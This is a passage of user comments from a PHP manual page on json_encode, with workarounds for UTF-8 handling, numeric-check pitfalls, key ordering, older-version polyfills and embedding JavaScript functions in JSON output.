            for($aRes[0]=substr($aRes[0],1),$sOut="",$i=0,$iOpen=0,$iClose=0;$i<= strlen($aRes[0]) && $sOut.= substr($aRes[0],$i,1);$i++)
                if (substr($aRes[0],$i,1) == "{") $iOpen++;
                else if (substr($aRes[0],$i,1) == "}" AND $iOpen == ++$iClose) break;
            return is_callable($fnCallback) ? $fnCallback($sOut).$aRes[1] : $fnCallback($sOut).$aRes[1];
        },
        json_encode($mVar)
    );
}

$aData = array(
    'key1' => 'value1',
    'key2' => 'function(){ return $("<INPUT />").attr("type","text"); }',
    'key3' => array(
        'key3.1'=>'val3.1',
        'key3.2'=>'function(someArg) { if (someArg == "someValue") return true; else { document.write("error"); return false; } }',
        ),
    'key4' => 'function(){ return true; }'
);

$sData = 'function(someArg) { if (someArg == "someValue") return true; else { document.write("error"); return false; } }';

echo  'Output for json_encode() : '.json_encode($aData)."\n\n";
echo  'Output for __json_encode() : '.__json_encode($aData)."\n\n";

echo  'Output for json_encode($sData) : '.json_encode($sData)."\n\n";
echo  'Output for __json_encode($sData) : '.__json_encode($sData)."\n\n";

/*
 *
 * Output for json_encode() : {"key1":"value1","key2":"function(){ return $(\"<INPUT \/>\").attr(\"type\",\"text\"); }","key3":{"key3.1":"val3.1","key3.2":"function(someArg) { if (someArg == \"someValue\") return true; else { document.write(\"error\"); return false; } }"},"key4":"function(){ return true; }"}
 *
 * Output for __json_encode() : {"key1":"value1","key2":function(){ return $("<INPUT />").attr("type","text"); },"key3":{"key3.1":"val3.1","key3.2":function(someArg) { if (someArg == "someValue") return true; else { document.write("error"); return false; } }},"key4":function(){ return true; }}
 *
 *
 * Output for json_encode($sData) : "function(someArg) { if (someArg == \"someValue\") return true; else { document.write(\"error\"); return false; } }"
 *
 * Output for __json_encode($sData) : function(someArg) { if (someArg == "someValue") return true; else { document.write("error"); return false; } }
 *
 */
Anonymous 24-Feb-2014 04:22
To use json_encode with javascript function I use :

<?php

function __json_encode($mVar) {
    return preg_replace_callback(
        '#"[ ]{0,}function[ ]{0,}\([^)$]{0,}\)[ ]{0,}\{[ ]{0,}(?(?![ ]{0,}}[ ]{0,}").){0,}[ ]{0,}\}[ ]{0,}"#si',
        function ($aRes) {
            for($aRes[0]=substr($aRes[0],1),$sOut="",$i=0,$iOpen=0,$iClose=0;$i<= strlen($aRes[0]) && $sOut.= substr($aRes[0],$i,1);$i++)
                if (substr($aRes[0],$i,1) == "{") $iOpen++;
                else if (substr($aRes[0],$i,1) == "}" AND $iOpen == ++$iClose) break;
            return stripcslashes($sOut);
        },
        json_encode($mVar)
    );
}

$aData = array(
    'key1' => 'value1',
    'key2' => 'function(){ return $("<INPUT />").attr("type","text"); }',
    'key3' => array(
        'key3.1'=>'val3.1',
        'key3.2'=>'function(someArg) { if (someArg == "someValue") return true; else { document.write("error"); return false; } }',
        ),
    'key4' => 'function(){ return true; }'
);

$sData = 'function(someArg) { if (someArg == "someValue") return true; else { document.write("error"); return false; } }';

echo  'Output for json_encode() : '.json_encode($aData)."\n\n";
echo  'Output for __json_encode() : '.__json_encode($aData)."\n\n";
echo  'Output for json_encode($sData) : '.json_encode($sData)."\n\n";
echo  'Output for __json_encode($sData) : '.__json_encode($sData)."\n\n";

/*

Output for json_encode : {"key1":"value1","key2":"function(){ return $(\"<INPUT \/>\").attr(\"type\",\"text\"); }","key3":{"key3.1":"val3.1","key3.2":"function(someArg) { if (someArg == \"someValue\") return true; else { document.write(\"error\"); return false; } }"},"key4":"function(){ return true; }"}

Output for __json_encode : {"key1":"value1","key2":function(){ return $("<INPUT />").attr("type","text"); },"key3":{"key3.1":"val3.1","key3.2":function(someArg) { if (someArg == "someValue") return true; else { document.write("error"); return false; } }},"key4":function(){ return true; }}

*/
info at pkrules dot in 06-Nov-2013 10:24
Notice the last json_decode does not working :) ,you need to use a variable to use the encoded data in json_decode():-
<?php
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);

echo json_encode($arr)."<br />";
//{"a":1,"b":2,"c":3,"d":4,"e":5}

print_r (json_decode(json_encode($arr)));
//stdClass Object ( [a] => 1 [b] => 2 [c] => 3 [d] => 4 [e] => 5 )
echo "<br />";
$var=json_encode($arr);
print_r (json_decode($var,true));
//Array ( [a] => 1 [b] => 2 [c] => 3 [d] => 4 [e] => 5 )
echo "<br />";
print_r (json_decode(json_encode($arr)),true);//no output
?>
drdamour 19-Oct-2013 08:05
note that although PHP bundles JSON, some linux distributions do not do to a licensing conflict.  As such you may need to install json support yourself.

IE: on Ubuntu 13.10 Saucy Salamander apt-get install php5-json re-enables json support (json_encode and json_decode)
zac at javazac dot com 09-Oct-2013 01:27
There is a gotcha that keeps getting me with JSON_NUMERIC_CHECK. At first it seems like the greatest thing in the world if you are encoding data pulled from a db because it turns numeric strings into seemingly appropriate ints or floats. Use with caution. I've been surprised a number of times by "numbers" that really are strings ie really precise lat/long coords.  json_encode with the JSON_NUMERIC_CHECK will encode these as floats but the precision of the data is so large that php actually rounds the number off. In this case I had to rework my code so that it didn't use JSON_NUMERIC_CHECK and I manually cast fields as ints or floats as appropriate and skipped my lat/long fields so that they stayed numeric strings.
eep2004 at ukr dot net 14-Sep-2013 02:45
<?php

// alternative json_encode
function _json_encode($val)
{
    if (is_string($val)) return '"'.addslashes($val).'"';
    if (is_numeric($val)) return $val;
    if ($val === null) return 'null';
    if ($val === true) return 'true';
    if ($val === false) return 'false';

    $assoc = false;
    $i = 0;
    foreach ($val as $k=>$v){
        if ($k !== $i++){
            $assoc = true;
            break;
        }
    }
    $res = array();
    foreach ($val as $k=>$v){
        $v = _json_encode($v);
        if ($assoc){
            $k = '"'.addslashes($k).'"';
            $v = $k.':'.$v;
        }
        $res[] = $v;
    }
    $res = implode(',', $res);
    return ($assoc)? '{'.$res.'}' : '['.$res.']';
}

?>

Example:
Array
(
    [0] => 7
    [1] => false
    [2] => Array
        (
            ['a'] => Array
                (
                    [0] => 1
                    [1] => 2
                    [3] => Array
                        (
                            [1] => true
                            [2] => 6
                            [0] => 4
                        )
                    [4] => Array
                        (
                            [0] => 'b'
                            [1] => null
                        )
                )
        )
)
Result: [7,false,{"a":{"0":1,"1":2,"3":{"1":true,"2":6,"0":4},"4":["b",null]}}]

This function is more accurate and faster than, for example, that one:
http://www.php.net/manual/ru/function.json-encode.php#89908
(RU: эта функция работает более точно и быстрее, чем указанная выше).
kvz at php dot net 21-Aug-2013 06:40
json_encode "only works with UTF-8 encoded data." so if there is any chance that users influence the variable you're about to encode to json, you should first recursively encode to UTF-8.

There are several comments doing that, but some only traverse the input array 1 level deep. Others write full fledged recursive functions themselves. Whereas as of PHP5 you could also utilize array_walk_recursive

<?php
array_walk_recursive($inputArray, function(&$val) {
    $val = utf8_encode($val);
});
json_encode($inputArray);
?>

Hope this helps
CertaiN 09-Jul-2013 12:51
<?php

$fp = fopen('php://stdin', 'r');
$json = @json_encode(array('a' => 'foo', 'b' => $fp));
var_dump($json);

?>

[PHP5.5 or after]
bool(false)

[PHP 5.4 or before]
string(20) "{"a":"foo","b":null}"
guilhenfsu at gmail dot com 23-Apr-2013 05:35
Solution for UTF-8 Special Chars.

<?

$array = array('nome'=>'Paição','cidade'=>'São Paulo');

$array = array_map('htmlentities',$array);

//encode
$json = html_entity_decode(json_encode($array));

//Output: {"nome":"Paição","cidade":"São Paulo"}
echo $json;

?>
ck at ergovia dot de 28-Mar-2013 08:40
Attention when passing a plain array to json_encode and using JSON_FORCE_OBJECT. It figured out that the index-order of the resulting JSON-string depends on the system PHP is running on.

$a = array("a" , "b", "c");
echo json_encode($a, JSON_FORCE_OBJECT);

On Xampp (Windows) you get:

{"0":"a","1":"b","2":"c"}';

On a machine running debian I get:

{"2":"a","1":"b","0":"c"}';

Note that the key:value pairs are different!

Solution here was to use array_combine to create a ssociative array and then pass it to json_encode:

json_encode(array_combine(range(0, count($a) - 1), $a), JSON_FORCE_OBJECT);
craig at craigfrancis dot co dot uk 19-Mar-2012 12:34
If your on a version of PHP before 5.2, this might help:

<?php
if (!function_exists('json_encode')) {
    function json_encode($data) {
        switch ($type = gettype($data)) {
            case 'NULL':
                return 'null';
            case 'boolean':
                return ($data ? 'true' : 'false');
            case 'integer':
            case 'double':
            case 'float':
                return $data;
            case 'string':
                return '"' . addslashes($data) . '"';
            case 'object':
                $data = get_object_vars($data);
            case 'array':
                $output_index_count = 0;
                $output_indexed = array();
                $output_associative = array();
                foreach ($data as $key => $value) {
                    $output_indexed[] = json_encode($value);
                    $output_associative[] = json_encode($key) . ':' . json_encode($value);
                    if ($output_index_count !== NULL && $output_index_count++ !== $key) {
                        $output_index_count = NULL;
                    }
                }
                if ($output_index_count !== NULL) {
                    return '[' . implode(',', $output_indexed) . ']';
                } else {
                    return '{' . implode(',', $output_associative) . '}';
                }
            default:
                return ''; // Not supported
        }
    }
}
?>
webmaster_php at colnect dot com 22-Feb-2012 12:52
WARNING! Do not pass associative arrays if the order is important to you. It seems that while FireFox does keep the same order, both Chrome and IE sort it. Here's a little workaround:

<?php
        $arWrapper = array();
        $arWrapper['k'] = array_keys($arChoices);
        $arWrapper['v'] = array_values($arChoices);
        $json = json_encode($arWrapper);
?>
pahreg at inbox dot ru 04-Feb-2012 07:36
Simple replacement for JSON_UNESCAPED_UNICODE (PHP < 5.4 for example)

Can be buggy, but works for simple UTF-8 strings.

<?php
$json = preg_replace_callback('/\\\u(\w\w\w\w)/',
    function($matches)
    {
        return '&#'.hexdec($matches[1]).';';
    }
    , json_encode($array));
?>
julien dot dev at gmail dot com 25-Jan-2012 03:08
Guys, (and girls)

A trick to unescape UTF8 for ppl with php < 5.4.0

json_encode(...) gives you \\u..... right ?

json_decode DOES unescape though !

so:

<?php
/* Imagine you have an object like this :
[{"name":"php help héhéhahéhé","url":"http://payAttention.example.com"},{"name":"took me brainack j'étais mal mec","url":"http://slashesEscapingSux"}]
*/

//first encode your object
$myDirtyString = $json_encode($myObject);

/*the JSON_UNESCAPED_SLASHES, and JSON_UNESCAPED_UNICODE being unavailable, you'll have some ugly escaping happening :

[{"name":"php help h\\u00e9h\\u00e9hah\\u00e9h\\u00e9","url":"http:\\/\\/payAttention.example.com"},{"name":"took me brainack j'\\u00e9tais mal mec","url":"http:\\/\\/slashesEscapingSux\\/"}]
*/

//So, you'll have to unescape slashes:
$myDirtyString = str_replace("\\/","/",$myDirtyString);

//Then, for the trick, escape doule quotes
$myDirtyString = str_replace('"','\\\\"',$myDirtyString);

//in oder to json_decode this trciked string (and get your utf8 unescaped)

$myCleanedString = json_decode('"'.$myDirtyString.'"');

// Je tour est joué !
// There might be better ways to do it but i found so much useless nonsense on forums that i decided to go with it for tonight
?>
bohwaz 24-Nov-2011 02:05
Are you sure you want to use JSON_NUMERIC_CHECK, really really sure?

Just watch this usecase:

<?php
// International phone number
json_encode(array('phone_number' => '+33123456789'), JSON_NUMERIC_CHECK);
?>

And then you get this JSON:

{"phone_number":33123456789}

Maybe it makes sense for PHP (as is_numeric('+33123456789') returns true), but really, casting it as an int?!

So be careful when using JSON_NUMERIC_CHECK, it may mess up with your data!
me 17-Nov-2011 08:17
::fast utf8-encoding of strings::

json_encode( array_map( function($t){ return is_string($t) ? utf8_encode($t) : $t; }, $array ) )
spm at bf-team dot com 09-Nov-2011 08:29
json and utf8?

Fast Easy Method:)

Encode: json_encode(array_map('base64_encode', $array));

Decode: array_map('base64_decode', json_decode($array);
mmi at uhb-consulting dot de 08-Nov-2011 04:59
When you have trouble with json_encode and German umlauts. json_encode converts Strings to NULL when detecting umlauts not being UTF8encoded.

Here's another recursive UTF8 conversion function and vice-versa. The object handling might be buggy but works for me.

<?php
function array_utf8_encode_recursive($dat)
        { if (is_string($dat)) {
            return utf8_encode($dat);
          }
          if (is_object($dat)) {
            $ovs= get_object_vars($dat);
            $new=$dat;
            foreach ($ovs as $k =>$v)    {
                $new->$k=array_utf8_encode_recursive($new->$k);
            }
            return $new;
          }

          if (!is_array($dat)) return $dat;
          $ret = array();
          foreach($dat as $i=>$d) $ret[$i] = array_utf8_encode_recursive($d);
          return $ret;
        }
function array_utf8_decode_recursive($dat)
        { if (is_string($dat)) {
            return utf8_decode($dat);
          }
          if (is_object($dat)) {
            $ovs= get_object_vars($dat);
            $new=$dat;
            foreach ($ovs as $k =>$v)    {
                $new->$k=array_utf8_decode_recursive($new->$k);
            }
            return $new;
          }

          if (!is_array($dat)) return $dat;
          $ret = array();
          foreach($dat as $i=>$d) $ret[$i] = array_utf8_decode_recursive($d);
          return $ret;
        }
?>
rob at weeverapps dot com 26-Sep-2011 06:15
If, for some reason you need to force a single object to be an array, you can use array_values() -- this can be necessary if you have an array with only one entry, as json_encode will assign it as an object otherwise :

<?php
$object[0] = array("foo" => "bar", 12 => true);

$encoded_object = json_encode($object);
?>

output:

{"1": {"foo": "bar", "12": "true"}}

<?php $encoded = json_encode(array_values($object)); ?>

output:

[{"foo": "bar", "12": "true"}]
devilan (REMOVEIT) (at) o2 (dot) pl 15-Sep-2011 09:39
For PHP5.3 users who want to emulate JSON_UNESCAPED_UNICODE, there is simple way to do it:
<?php
function my_json_encode($arr)
{
        //convmap since 0x80 char codes so it takes all multibyte codes (above ASCII 127). So such characters are being "hidden" from normal json_encoding
        array_walk_recursive($arr, function (&$item, $key) { if (is_string($item)) $item = mb_encode_numericentity($item, array (0x80, 0xffff, 0, 0xffff), 'UTF-8'); });
        return mb_decode_numericentity(json_encode($arr), array (0x80, 0xffff, 0, 0xffff), 'UTF-8');

}
?>
grkworld1 at yahoo dot co dot in 07-Sep-2011 11:45
copy the php tagged code in a page
this is use full for multy dimention array

<?php

function arr_2_str($arr,$counter=1,$str="")
{
    foreach( $arr as $key=>$value)
    {
        if(is_array($value))
        {
            $str.= $key."=$counter>".arr_2_str($value,($counter+1))."=".$counter.">~Y~|".$counter."|";
        }
        else
        {
            $str.=$key."=$counter>".$value."|$counter|";
        }
    }
    return rtrim($str,"|$counter|");
}

function str_2_arr($str,$counter=1,$arr=array(),$temparr=array())
{
    $temparr=explode("|$counter|",$str);

    foreach( $temparr as $key=>$value)
    {
        $t1=explode("=$counter>",$value);
        $kk=$t1[0];
        $vv=$t1[1];
        if ($t1[2]=="~Y~")
        {
            $arr[$kk]=str_2_arr($vv,($counter+1));
        }
        else
        {
            $arr[$kk]=$vv;
        }

    }
    return $arr;
}

$arr=array();

$arr[1]="a";
$arr[2][1]="b";
$arr[2][2]="c";
$arr[2][3][1]="d";
$arr[2][3][2][1]="e1";
$arr[2][3][2][2]="e2";
$arr[2][3][3]="f";
print "<pre>";

print_r($arr);

print "<br><br><br>";

print $ssttrr=arr_2_str($arr);

print "<br><br><br>";

print_r(str_2_arr($ssttrr));

/*print "<br><br><br>";
print "use of json";
print "<br><br><br>";
print $sstr=json_encode($arr);
print "<br><br><br>";
print_r(json_decode($sstr));*/

print "</pre>";

?>
Tibor Halter 14-Aug-2011 02:21
json_encode($binary) problem: it results in an empty string "" without error.

You will see this happening when encoding binary images, for example.

Use utf8_encode first.

<?php

    $data = 'éáíúűóüöäÍÓ';
    $json = json_encode( utf8_encode($data) );

    // [..]

    $data = utf8_decode( json_decode($json) );

?>
Rijk van Wel 07-Jul-2011 11:18
The JSON_NUMERIC_CHECK flag introduced in 5.3.0 comes in very handy when handling numbers encapsulated in a string (database results and post requests are always encoded as string types, for example). Sending over variables from a database result directly (as string) would cause the json_encode() function to quote them, which in turn would make the Javascript store them as strings. As Javascript isn't loosely typed, some libraries could break on this, when attempting to use one of those variables as row id in a data store for instance. Using the aforementioned flag can prevent this from happening.

<?php
$arr = array( 'row_id' => '1', 'name' => 'George' ); // fictional db result
echo json_encode( $arr, JSON_NUMERIC_CHECK ); // {"row_id":1,"name":"George"}
?>
Mr Swordsteel 05-Jun-2011 04:38
So i like to use ISO-8859-1 and a lot of åäöÅÄÖ and not that much for UTF-8 but i need some json stuff so this is what I'm trying to use this lite thing i made...

<?php
function my_json_encode($in) {
  $_escape = function ($str) {
    return addcslashes($str, "\v\t\n\r\f\"\\/");
  };
  $out = "";
  if (is_object($in)) {
    $class_vars = get_object_vars(($in));
    $arr = array();
    foreach ($class_vars as $key => $val) {
      $arr[$key] = "\"{$_escape($key)}\":\"{$val}\"";
    }
    $val = implode(',', $arr);
    $out .= "{{$val}}";
  }elseif (is_array($in)) {
    $obj = false;
    $arr = array();
    foreach($in AS $key => $val) {
      if(!is_numeric($key)) {
        $obj = true;
      }
      $arr[$key] = my_json_encode($val);
    }
    if($obj) {
      foreach($arr AS $key => $val) {
        $arr[$key] = "\"{$_escape($key)}\":{$val}";
      }
      $val = implode(',', $arr);
      $out .= "{{$val}}";
    }else {
      $val = implode(',', $arr);
      $out .= "[{$val}]";
    }
  }elseif (is_bool($in)) {
    $out .= $in ? 'true' : 'false';
  }elseif (is_null($in)) {
    $out .= 'null';
  }elseif (is_string($in)) {
    $out .= "\"{$_escape($in)}\"";
  }else {
    $out .= $in;
  }
  return "{$out}";
}
?>

have fun make money off it or what you like with you code... this is for everyone...
pvl dot kolensikov at gmail dot com 28-Mar-2011 05:35
As json_encode() is recursive, you can use it to serialize whole structure of objects.

<?php
class A {
    public $a = 1;
    public $b = 2;
    public $collection = array();

    function  __construct(){
        for ( $i=3; $i-->0;){
            array_push($this->collection, new B);
        }
    }
}

class B {
    public $a = 1;
    public $b = 2;
}

echo json_encode(new A);
?>

Will give:

{
    "a":1,
    "b":2,
    "collection":[{
        "a":1,
        "b":2
    },{
        "a":1,
        "b":2
    },{
        "a":1,
        "b":2
    }]
}
Mathias Leppich 25-Feb-2011 07:29
If you need a json_encode / json_decode which is array/object/assoc-array you might want to use: http://gist.github.com/820694

<?php
$dataIn = (object)array(
    "assoc" => array("cow"=>"moo"),
    "object" => (object)array("cat"=>"miao"),
);
/*
== IN
object(stdClass)#2 (2) {
  ["assoc"]=>
  array(1) {
    ["cow"]=>
    string(3) "moo"
  }
  ["object"]=>
  object(stdClass)#1 (1) {
    ["cat"]=>
    string(4) "miao"
  }
}

== JSON
{"assoc":{"_PHP_ASSOC":{"cow":"moo"}},"object":{"cat":"miao"}}

== OUT
object(stdClass)#4 (2) {
  ["assoc"]=>
  array(1) {
    ["cow"]=>
    string(3) "moo"
  }
  ["object"]=>
  object(stdClass)#7 (1) {
    ["cat"]=>
    string(4) "miao"
  }
}
*/
?>
Joao Neto 16-Feb-2011 01:36
To solve the "problem" with encoded UTF8 chars, is easy:

for example:

<?php
$arr = array( 'áéíóúçã', 'áááééé´rŕŕ' );

echo json_encode( $arr );

foreach ($arr as &$a) {
  $a = ascii_to_entities( $a );
}

echo json_encode( $arr );

function ascii_to_entities($str)
    {
       $count    = 1;
       $out    = '';
       $temp    = array();

       for ($i = 0, $s = strlen($str); $i < $s; $i++)
       {
           $ordinal = ord($str[$i]);

           if ($ordinal < 128)
           {
                if (count($temp) == 1)
                {
                    $out  .= '&#'.array_shift($temp).';';
                    $count = 1;
                }

                $out .= $str[$i];
           }
           else
           {
               if (count($temp) == 0)
               {
                   $count = ($ordinal < 224) ? 2 : 3;
               }

               $temp[] = $ordinal;

               if (count($temp) == $count)
               {
                   $number = ($count == 3) ? (($temp['0'] % 16) * 4096) +
(($temp['1'] % 64) * 64) +
($temp['2'] % 64) : (($temp['0'] % 32) * 64) +
($temp['1'] % 64);

                   $out .= '&#'.$number.';';
                   $count = 1;
                   $temp = array();
               }
           }
       }

       return $out;
    }
?>

RESULT:

["\u00e1\u00e9\u00ed\u00f3\u00fa\u00e7\u00e3",
"\u00e1\u00e1\u00e1\u00e9\u00e9\u00e9\u00b4r\u0155\u0155"]

Array ( [0] => áéíóúçã [1] => áááééé´rŕŕ )

["áéíóúçã","áááééé´rŕŕ"]

Array ( [0] => áéíóúçã [1] => áááééé´rŕŕ )
bohwaz 26-Jan-2011 11:00
This is intended to be a simple readable json encode function for PHP 5.3+ (and licensed under GNU/AGPLv3 or GPLv3 like you prefer):

<?php

function json_readable_encode($in, $indent = 0, $from_array = false)
{
    $_myself = __FUNCTION__;
    $_escape = function ($str)
    {
        return preg_replace("!([\b\t\n\r\f\"\\'])!", "\\\\\\1", $str);
    };

    $out = '';

    foreach ($in as $key=>$value)
    {
        $out .= str_repeat("\t", $indent + 1);
        $out .= "\"".$_escape((string)$key)."\": ";

        if (is_object($value) || is_array($value))
        {
            $out .= "\n";
            $out .= $_myself($value, $indent + 1);
        }
        elseif (is_bool($value))
        {
            $out .= $value ? 'true' : 'false';
        }
        elseif (is_null($value))
        {
            $out .= 'null';
        }
        elseif (is_string($value))
        {
            $out .= "\"" . $_escape($value) ."\"";
        }
        else
        {
            $out .= $value;
        }

        $out .= ",\n";
    }

    if (!empty($out))
    {
        $out = substr($out, 0, -2);
    }

    $out = str_repeat("\t", $indent) . "{\n" . $out;
    $out .= "\n" . str_repeat("\t", $indent) . "}";

    return $out;
}

?>
dan at elearnapp dot com 13-Jan-2011 09:01
If you need to force an object (ex: empty array) you can also do:

         <?php json_encode( (object)$arr ); ?>

which acts the same as

         <?php json_encode($arr, JSON_FORCE_OBJECT); ?>
marc at leftek dot com 23-Dec-2010 07:08
Anybody having empty arrays and needing the JSON_FORCE_OBJECT option but not using 5.3 yet, you can substitute assigning an empty object:

<?php
    if (empty($array)) $array = (object) null;
    $return = json_encode($array);
?>
rdheijer at reestyle dot net 21-Dec-2010 11:11
You may run into trouble when you need to call functions. In my case I had to fire a function based on a button pressed in the flexigrid javascript component.

My solution in the project was:

<?php

$jsonify = array('onpress'=>'functionName');

// The part between braces in the regex is somewhat rough
// but it will do the job. Afterall, you don't want this to be
// used by a visitor :)
$regex = '/"onpress":"([\w\-\.]+)"/i';
$replace = '"onpress":$1';
$jsonified = preg_replace($regex, $replace, json_encode($jsonify));

?>

But you can extend this for your own needs. By altering the regex and replace vars:

<?php

$replace = '"$1":$2';
$regex = '/"(onpress|onclick|onmouseover|onmouseout)":"([\w_\-\.]+)"/i';

?>

Unfortunately you have to specify each call reference, but it does give you full control over what to and what not to.
Andre M 06-Dec-2010 01:23
Regarding encoding issues, if you make sure the PHP files containing your strings are encoded in UTF-8, you shouldn't need to call utf8_encode.
spam dot here dot pls at hotmail dot com 17-Nov-2010 09:42
Another way for pre-5.2.0 PHP users is using rawurlencode() in PHP to encode a string and decodeURIComponent() in javascript to decode it. I have written following class to handle PHP arrays and convert them to javascript format. It uses object notation for associative arrays and arrays for the other. Nesting is supported. True, false, integers, floats and null values are presented in respective javascript syntax.

Use: convert an array in PHP using this class, load it into the browser using ajax and then decode the strings in the resulting object using javascript function decodeData (below).

All of the example results have passed json validator so it shoud be allright. Feel free to use this.

PHP CLASS - encoding arrays
=======

<?php

class custom_json {

    /**
     * Convert array to javascript object/array
     * @param array $array the array
     * @return string
     */
    public static function encode($array)
    {

        // determine type
        if(is_numeric(key($array))) {

            // indexed (list)
            $output = '[';
            for($i = 0, $last = (sizeof($array) - 1); isset($array[$i]); ++$i) {
                if(is_array($array[$i])) $output .= self::encode($array[$i]);
                else  $output .= self::_val($array[$i]);
                if($i !== $last) $output .= ',';
            }
            $output .= ']';

        } else {

            // associative (object)
            $output = '{';
            $last = sizeof($array) - 1;
            $i = 0;
            foreach($array as $key => $value) {
                $output .= '"'.$key.'":';
                if(is_array($value)) $output .= self::encode($value);
                else  $output .= self::_val($value);
                if($i !== $last) $output .= ',';
                ++$i;
            }
            $output .= '}';

        }

        // return
        return $output;

    }

    /**
     * [INTERNAL] Format value
     * @param mixed $val the value
     * @return string
     */
    private static function _val($val)
    {
        if(is_string($val)) return '"'.rawurlencode($val).'"';
        elseif(is_int($val)) return sprintf('%d', $val);
        elseif(is_float($val)) return sprintf('%F', $val);
        elseif(is_bool($val)) return ($val ? 'true' : 'false');
        else  return 'null';
    }

}

// prints ["apple","banana","blueberry"]
echo custom_json::encode(array('apple', 'banana', 'blueberry'));

// prints {"name":"orange","type":"fruit"}
echo custom_json::encode(array('name' => 'orange', 'type' => 'fruit'));

// prints: ** try it yourself, cannot post long lines here **
$big_test = array(
    array(
        'name' => array('John', 'Smith'),
        'age' => 27,
        'sex' => 0,
        'height' => 180.53,
        'is_human' => true,
        'string' => 'Hello',
    ),
    array(
        'name' => array('Green', 'Alien'),
        'age' => 642,
        'sex' => null,
        'height' => 92.21,
        'is_human' => false,
        'string' => 'こんにちは！', // test utf8 here
    )
);

echo custom_json::encode($big_test);

?>

JAVASCRIPT FUNCTION - decode rawurlencoded() strings
==================
function decodeData(data) {
        for(var item in data) {
            var type = typeof data[item];
            if(type === 'object') decodeData(data[item]);
            else if(type === 'string') data[item] = decodeURIComponent(data[item]);
        }
    }
boukeversteegh at gmail dot com 10-Nov-2010 03:02
For users of php 5.1.6 or lower, a native json_encode function. This version handles objects, and makes proper distinction between [lists] and {associative arrays}, mixed arrays work as well. It can handle newlines and quotes in both keys and data.

This function will convert non-ascii symbols to "\uXXXX" format as does json_encode.

Besides that, it outputs exactly the same string as json_encode. Including UTF-8 encoded 2-, 3- and 4-byte characters. It is a bit faster than PEAR/JSON::encode, but still slow compared to php 5.3's json_encode. It encodes any variable type exactly as the original.

Relative speeds:
PHP json_encode: 1x
__json_encode: 31x
PEAR/JSON: 46x

NOTE: I assume the input will be valid UTF-8. I don't know what happens if your data contains illegal Unicode sequences. I tried to make the code fast and compact.

<?php
function __json_encode( $data ) {
    if( is_array($data) || is_object($data) ) {
        $islist = is_array($data) && ( empty($data) || array_keys($data) === range(0,count($data)-1) );

        if( $islist ) {
            $json = '[' . implode(',', array_map('__json_encode', $data) ) . ']';
        } else {
            $items = Array();
            foreach( $data as $key => $value ) {
                $items[] = __json_encode("$key") . ':' . __json_encode($value);
            }
            $json = '{' . implode(',', $items) . '}';
        }
    } elseif( is_string($data) ) {
        # Escape non-printable or Non-ASCII characters.
        # I also put the \\ character first, as suggested in comments on the 'addclashes' page.
        $string = '"' . addcslashes($data, "\\\"\n\r\t/" . chr(8) . chr(12)) . '"';
        $json    = '';
        $len    = strlen($string);
        # Convert UTF-8 to Hexadecimal Codepoints.
        for( $i = 0; $i < $len; $i++ ) {

            $char = $string[$i];
            $c1 = ord($char);

            # Single byte;
            if( $c1 <128 ) {
                $json .= ($c1 > 31) ? $char : sprintf("\\u%04x", $c1);
                continue;
            }

            # Double byte
            $c2 = ord($string[++$i]);
            if ( ($c1 & 32) === 0 ) {
                $json .= sprintf("\\u%04x", ($c1 - 192) * 64 + $c2 - 128);
                continue;
            }

            # Triple
            $c3 = ord($string[++$i]);
            if( ($c1 & 16) === 0 ) {
                $json .= sprintf("\\u%04x", (($c1 - 224) <<12) + (($c2 - 128) << 6) + ($c3 - 128));
                continue;
            }

            # Quadruple
            $c4 = ord($string[++$i]);
            if( ($c1 & 8 ) === 0 ) {
                $u = (($c1 & 15) << 2) + (($c2>>4) & 3) - 1;

                $w1 = (54<<10) + ($u<<6) + (($c2 & 15) << 2) + (($c3>>4) & 3);
                $w2 = (55<<10) + (($c3 & 15)<<6) + ($c4-128);
                $json .= sprintf("\\u%04x\\u%04x", $w1, $w2);
            }
        }
    } else {
        # int, floats, bools, null
        $json = strtolower(var_export( $data, true ));
    }
    return $json;
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by the original poster on 08-DEC-2010 with the following message: "I discovered a rather bad bug in my __json_encode function below. On versions prior to php 5.2.5, all 'f' characters are escaped to '\f'. This is because addcslashes in php < 5.2 doesn't understand \f as 'formfeed'."]
php at ianco dot co dot uk 30-Oct-2010 01:02
Note that json_encode always escapes a solidus (forward slash, %x2F).
This may be a problem if you are encoding a URL.
It's been recognised and fixed in September 2010:
http://bugs.php.net/bug.php?id=49366
But escaping will still be the default behaviour.
A crude repair can be done with
str_replace('\\/', '/', $jsonEncoded)
migprj at gmail dot com 19-Oct-2010 04:46
Because json_encode() only deals with utf8, it is often necessary to convert all the string values inside an array to utf8. I've created these two functions:

<?php
function utf8_encode_all($dat) // -- It returns $dat encoded to UTF8
{
  if (is_string($dat)) return utf8_encode($dat);
  if (!is_array($dat)) return $dat;
  $ret = array();
  foreach($dat as $i=>$d) $ret[$i] = utf8_encode_all($d);
  return $ret;
}
/* ....... */

function utf8_decode_all($dat) // -- It returns $dat decoded from UTF8
{
  if (is_string($dat)) return utf8_decode($dat);
  if (!is_array($dat)) return $dat;
  $ret = array();
  foreach($dat as $i=>$d) $ret[$i] = utf8_decode_all($d);
  return $ret;
}
/* ....... */
?>
tomas at matfyz dot cz 05-Oct-2010 04:43
As json_encode() won't work with character sets other than UTF-8, this expression allows to encode strings for JSON regardless of the character set:

<?php
str_replace("\0", "\\u0000", addcslashes($string, "\t\r\n\"\\"));
?>

You need to replace the nul character manually as addcslashes() won't do it right way. But BEWARE, this is only solution for common strings, other "unusual wild characters" like ESC, \b, \a etc. are not handled.
matt dot parlane at gmail dot com 05-Oct-2010 09:05
To save some space, at the risk of it being illegal JSON, strictly speaking:

<?php
$json = preg_replace('/"([a-zA-Z]+[a-zA-Z0-9]*)":/', '$1:', json_encode($whatever));
?>
Dave - s10sys.com 09-Sep-2010 05:46
This may help others who are seeing null strings returned by json_encode().

This function will encode all array values to utf8 so they are safe for json_encode();

usage:

<?php
json_encode(utf8json($dataArray));

function utf8json($inArray) {

    static $depth = 0;

    /* our return object */
    $newArray = array();

    /* safety recursion limit */
    $depth ++;
    if($depth >= '30') {
        return false;
    }

    /* step through inArray */
    foreach($inArray as $key=>$val) {
        if(is_array($val)) {
            /* recurse on array elements */
            $newArray[$key] = utf8json($val);
        } else {
            /* encode string values */
            $newArray[$key] = utf8_encode($val);
        }
    }

    /* return utf8 encoded array */
    return $newArray;
}
?>

[NOTE BY danbrown AT php DOT net: Includes a bugfix by (robbiz233 AT hotmail DOT com) on 18-SEP-2010, to replace:
    $newArray[$key] = utf8json($inArray);
with:
